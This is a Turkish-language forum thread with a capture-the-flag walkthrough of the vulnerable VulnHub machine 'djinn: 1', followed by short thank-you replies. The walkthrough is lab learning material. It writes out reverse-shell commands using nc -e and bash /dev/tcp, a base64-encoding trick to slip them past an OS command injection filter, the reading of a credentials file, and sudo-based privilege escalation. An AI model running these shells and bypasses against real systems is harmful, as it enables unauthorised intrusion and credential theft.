THT DUYURU

 
 
Capture The Flag Vulnerable VM Walkthrough & Capture The Flag (CTF) Writeup Yazabileceğiniz Bölüm

Seçenekler

djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü

ratio - ait Kullanıcı Resmi (Avatar)
Kıdemli Üye
Üyelik tarihi:
07/2013
Nereden:
Turk
Mesajlar:
2.462
Konular:
106
Teşekkür (Etti):
247
Teşekkür (Aldı):
890
Ticaret:
(0) %
12
2843
01-02-2020 09:21
#1
djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü

Seviye: Orta

Görev: Root kullanıcısının ayrıcalıklarını yükseltmemiz gereken ve mücadeleyi tamamlamak için 2 bayrak bulmak zorunda olduğumuz başka bir CTF.

Makine 18 Kasım 2019’da 0xmzfr tarafından yayınlanmıştır.

Yüklemek için siteyi ziyaret edebilirsiniz.

Bağlantı: https://www.vulnhub.com/entry/djinn-1,397/

OVA şeklinde hazır olarak kurabilirsiniz.

Örn: Virtual Machine --> File --> Open --> djinn

Başlayalım.



Çözüm

Öncelikle ‘netdiscover’ yazarak ağdaki IP’leri listeliyoruz.

Kod:
netdiscover
Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IP’sindeki açık portları listeliyoruz.

Buradaki –p- parametresi aracın bütün portları (65535) taramasını sağlar.

nmap –p- IP_ADRESI

Kod:
nmap –p- 192.168.1.48


21 /TCP portunun açık olduğunu gördüğümüz için, sunucuya anonim olarak girmeyi deniyoruz.

Kod:
ftp 192.168.1.48
Kod:
anonymous


Giriş başarılı, şimdi de dizinde listeleme yapıyoruz.

Kod:
ls


Dosyaları okumak için indiriyoruz ve açıp okuyoruz.





İlkinin ‘creds’den kimlik bilgileri olduğunu düşünüp, ikincisi için makinenin portuna bakıyoruz.

Kod:
192.168.1.48/1337
Sürekli yenilediğimizde site yüklenir gibi oluyor. Ancak hata veriyor ve yazıyı okuyamıyoruz. Bu yüzden netcat ile ip’deki portu tarayalım.

Netcat nedir? Nasıl Kullanılır? (Netcat, ağı okuyan ve TCP veya UDP iletişim kurallarını kullanarak ağ bağlantılarını yazan bir hizmetidir. ncip_adresiport_numarası verilerek kullanılabilir.)

Kod:
nc 192.168.1.48 1337


Hediyesini vermek için basit matematik sorularını 1000 kere cevaplamamızı istiyor. Burada bizlere bir şey verip vermeyeceğini bilmediğimiz için 1000 kez cevaplamanın da zaman alacağı için bırakıyoruz.

Ayrıca portları bulduğumuz yerde service adının waste olduğunu görüyoruz. (waste: boşa harcamak)



Bulduğumuz portlar arasından diğerini gözden geçiriyoruz.

Kod:
192.168.1.48:7331
Tarayıcıdan porta baktığımızda bu sayfa karşımıza geliyor.



Sitenin kaynak kodlarınıda görüntüledik ancak kullanabileceğimiz bir bilgi edinemedik. Şimdi sitede gizli dizinler var mı gobuster aracı ile ona bakıyoruz.

Gobuster nedir? (Gobuster biz dizin keşfi yapan brute-force (kaba-kuvvet) saldırı programıdır.)

NOT: Gobuster’ınız yoksa aşağıdaki kodu yazarak yükleyebilirsiniz.

Kod:
sudo apt-get install gobuster
Gobuster’ı edindikten sonra taramaya başlıyoruz.

Kod:
gobuster dir -u http://192.168.1.48:7331 -w /usr/share/wordlists/dirb/big.txt
Buradaki –u ( url vereceğinizi ) -w ( wordlist vereceğinizi ) belirtir.



/genie ve /wish adlı iki dizin buldu, kontrol ediyoruz.

/genie’ye giriş yapamadığımız için bir şey elde edemiyoruz ve diğerini kontrol ediyoruz.



/wish dizininde “Beni buldun, bir dilek dile ve bütün dileklerin gerçek olsun.” gibi bir yazı ve bir adet text girebileceğimiz bölüm var.

Kod:
id
Yukarıdaki komutu yazarak deniyoruz ve dönüt alıyoruz, yani komut işliyor. Buradan text bölümünün OS Komut Enjeksiyonu olduğunu anlıyoruz.

Netcat kullanarak Reverse Shell çalıştırmayı deniyoruz.

Öncelikle, aşağıdaki komutu yazarak portu dinliyoruz.

Kod:
nc –nlvp 1234
Daha sonra web sayfasındaki forma giderek aşağıdaki komutu yazıyoruz.

Kod:
nc -e /bin/sh 192.168.1.48 1234
Buradaki –e komutu eğer bağlantı olursa sonrasında program çalıştığında STDIN ve STDOUT ile iletişim kurmak için kullanılıyor.

Komutu denedikten sonra hata “Yanlış kelimeleri seçtiniz” gibi bir hata aldık.



Base64 kodlarını kullanabildiğimizi fark edince, yukarıdaki komutumuzu aşağıdaki komut ile koda dönüştürüyoruz.

Kod:
echo "bash -i >& /dev/tcp/192.168.1.62/1234 0>&1" | base64
Buradaki echo devamındakini yazdırmak için,

bash kabuğu çalıştırmak için,

/dev/tcp - bu dosyaya yazdığınız verileri ağ üzerinden gönderir

/dev/tcp/192.168.1.62/1234 - bu kısımda geçerli bir ip ve port bulunuyorsa, kabuk karşılık gelen sokete bir TCP bağlantısı açmaya çalışır.

| base64 komutu ise yazdığımız kodu base64’e çevirir.

Çıktı: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNjIvMTIzNC AwPiYxCg==

Kodu girmeden önce belirlediğimiz portu netcat ile dinliyoruz.

Kod:
nc –lvp 1234
Kodu aşağıdaki gibi siteye giriyoruz.

Kod:
echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuNDggMTIzNA== | base64 -d | bash
Buradaki base64 –d ise echo ile yazdırdığımız base64 kodunu, decode eder ve eski haline çevirir.

Ve bağlantı kuruyoruz.



Daha sonra aşağıdaki komutu yazarak dosyaları listeliyoruz.

Kod:
ls
Aşağıdaki komutu yazarak app.py dosyasını anlamlı bir şey var mı diye okuyoruz.

Kod:
cat app.py
Credentials(kimlik bilgileri)’ın bulunduğu dizinin yazdığını fark ediyoruz.

CREDS = "/home/nitish/.dev/creds.txt"

Dizini ve cat komutunu kullanarak txt dosyasını okuyoruz.

Kod:
cat /home/nitish/.dev/creds.txt
Bize böyle bir çıktı veriyor.

Kod:
nitish:p4ssw0rdStr3r0n9
Nitish olarak giriş yapmak için bir bash kabuğu çağırıyoruz ve onu yazacağımız phyton kodu ile TTY kabuğuna çeviriyoruz.

Kod:
bash
Kod:
python -c 'import pty;pty.spawn("/bin/sh")'
Daha sonra az önce nitish kullanıcısından elde ettiğimiz bilgileri giriyoruz.

Kod:
nitish
Kod:
p4ssw0rdStr3r0n9
Daha sonra nitish’inhome klasörüne giderek user.txt’yi okuyoruz.

Kod:
cd ..
Kod:
cd ..
Kod:
cd home/nitish
Kod:
ls
Kod:
cat user.txt
Çıktı: 10aay8289ptgguy1pvfa73alzusyyx3c=



Bize bu çıktıyı verdi, base64 kodu olduğunu anladıktan sonra decode ettik, pek anlamlı bulmadığım aşağıdaki çıktıyı verdi.

�F��ͼ��`�쵦���v���2��

Daha sonra biraz araştırdıktan sonra flag olarak bunu yapmışlar ve ilk bayrağımızı bulmuş olduk.



Şimdi ikinci bayrağı bulmak için işe koyuluyoruz, öncelikle kullanıcı izinlerini kontrol ediyoruz.

Kod:
su –l
Burada genie diye bir script oluşturulduğunu ve şifresiz olarak sam’in kullanılabildiğini görüyoruz.

Kod:
genie
Kod:
genie –h


Birazcık inceledikten sonra aşağıdaki komut ile sam kullanıcısına geçiyoruz.

Kod:
sudo -u sam genie -cmd new
whoami diyerek kim olduğumuza baktık ve sam kullanıcısındayız. Daha sonra izinlerini listeliyoruz.

Kod:
sudo –l
/root/lago da şifre olmadığını gördük ve giriş yapıyoruz.

Kod:
sudo –u root /root/lago
Buradaki –u user(kullanıcı)’ı belirtir. Root olarak root dizinindeki lago’yu çalıştırdık.

Daha sonra buradaki seçenekleri denemeye başladık.

2. seçeneği seçip num olarak sayıyı girdiğimizde root kullanıcısına erişmiş olduk.



Daha sonra root kullanıcısı olarak bir kabuk çalıştırıyoruz ve ana dizine gidiyoruz.

Kod:
bash
Kod:
su root
Kod:
cd
Daha sonra listeleme yapıyoruz ve proof.sh isimli scripti görüyoruz.

Kod:
ls
Aşağıdaki komutu yazarak scripti çalıştırıyoruz ve bayrağı bulduk.

Kod:
./proof.sh




Güzel bir makine çözümüydü, umarım beğenmişsinizdir.



“P4RS hocama makine çözümündeki yardımları için teşekkür ederim.
---------------------
Copyright decrypted

The Golden Ratio is a special number found by dividing a line into two parts so that the longer part divided by smaller part is also equal to the whole length divided by the longer part.
Konu PigGunner tarafından (01-02-2020 09:22 Saat 09:22 ) değiştirilmiştir.
AhmetKnKc - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
03/2018
Nereden:
Evden
Yaş:
16
Mesajlar:
1.060
Konular:
189
Teşekkür (Etti):
43
Teşekkür (Aldı):
233
Ticaret:
(0) %
01-02-2020 09:24
#2
Elinize sağlık. Birgün linuxa geçersem buradan faydalanıcağım
--------------------- Bi sıcacık peyniriyle yumuşacık ekmeğiyle sosis kenarlı pizza ne iyi giderdi be
- Teşekkür etti.
ratio - ait Kullanıcı Resmi (Avatar)
Kıdemli Üye
Üyelik tarihi:
07/2013
Nereden:
Turk
Mesajlar:
2.462
Konular:
106
Teşekkür (Etti):
247
Teşekkür (Aldı):
890
Ticaret:
(0) %
01-02-2020 16:52
#3
Alıntı:
AhmetKnKc´isimli üyeden Alıntı Mesajı göster
Elinize sağlık. Birgün linuxa geçersem buradan faydalanıcağım

Cevabınız konu ile pek bağlantılı gelmese de teşekkür ederim.



İyi forumlar..
---------------------
Copyright decrypted

The Golden Ratio is a special number found by dividing a line into two parts so that the longer part divided by smaller part is also equal to the whole length divided by the longer part.
- Teşekkür etti.
GZM16 - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
05/2018
Nereden:
Uzman Çavuş
Mesajlar:
387
Konular:
3
Teşekkür (Etti):
248
Teşekkür (Aldı):
203
Ticaret:
(0) %
01-02-2020 18:33
#4
Elline sağlık
--------------------- Anılmakla hangi ruh olmaz ki sarhoş!
- Teşekkür etti.
P4RS - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
01/2017
Nereden:
Ankara
Mesajlar:
5.139
Konular:
626
Teşekkür (Etti):
1779
Teşekkür (Aldı):
3708
Ticaret:
(0) %
01-02-2020 19:32
#5
Ellerine sağlık Gunner
---------------------


𝖘𝖊𝖞𝖈𝖎𝖑𝖊𝖗
- Teşekkür etti.
Xowly - ait Kullanıcı Resmi (Avatar)
Researcher
Üyelik tarihi:
06/2019
Nereden:
ғate
Mesajlar:
725
Konular:
72
Ticaret:
(0) %
01-02-2020 20:37
#6
Eline sağlık
- Teşekkür etti.
ratio - ait Kullanıcı Resmi (Avatar)
Kıdemli Üye
Üyelik tarihi:
07/2013
Nereden:
Turk
Mesajlar:
2.462
Konular:
106
Teşekkür (Etti):
247
Teşekkür (Aldı):
890
Ticaret:
(0) %
01-02-2020 21:53
#7
Alıntı:
GZM16´isimli üyeden Alıntı Mesajı göster
Elline sağlık

Teşekkürler.



Alıntı:
"P4RS´isimli üyeden Alıntı Mesajı göster
Ellerine sağlık Gunner

Teşekkürler hocam.



Alıntı:
Xowly´isimli üyeden Alıntı Mesajı göster
Eline sağlık

Teşekkürler.
---------------------
Copyright decrypted

The Golden Ratio is a special number found by dividing a line into two parts so that the longer part divided by smaller part is also equal to the whole length divided by the longer part.
- Teşekkür etti.
xbaytar - ait Kullanıcı Resmi (Avatar)
Uzman Üye
Üyelik tarihi:
11/2019
Nereden:
Eskişehir
Mesajlar:
1.066
Konular:
33
Teşekkür (Etti):
275
Teşekkür (Aldı):
699
Ticaret:
(0) %
02-02-2020 00:18
#8
Eline emeğine sağlık. Güzel bir konu
---------------------
- Teşekkür etti.
ratio - ait Kullanıcı Resmi (Avatar)
Kıdemli Üye
Üyelik tarihi:
07/2013
Nereden:
Turk
Mesajlar:
2.462
Konular:
106
Teşekkür (Etti):
247
Teşekkür (Aldı):
890
Ticaret:
(0) %
03-02-2020 10:25
#9
Alıntı:
xbaytar´isimli üyeden Alıntı Mesajı göster
Eline emeğine sağlık. Güzel bir konu

Teşekkürler..
---------------------
Copyright decrypted

The Golden Ratio is a special number found by dividing a line into two parts so that the longer part divided by smaller part is also equal to the whole length divided by the longer part.
- Teşekkür etti.
PourLa - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
03/2016
Nereden:
Mesajlar:
1.668
Konular:
310
Teşekkür (Etti):
630
Teşekkür (Aldı):
872
Ticaret:
(0) %
03-02-2020 10:41
#10
Ellerin dert görmesin 😊
---------------------
PourLa
Html/Css > Python > C ve C++
( }-----{ TÜRK HACK TEAM }-----{ )
Twitter | Telegram | İnstagram
- Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler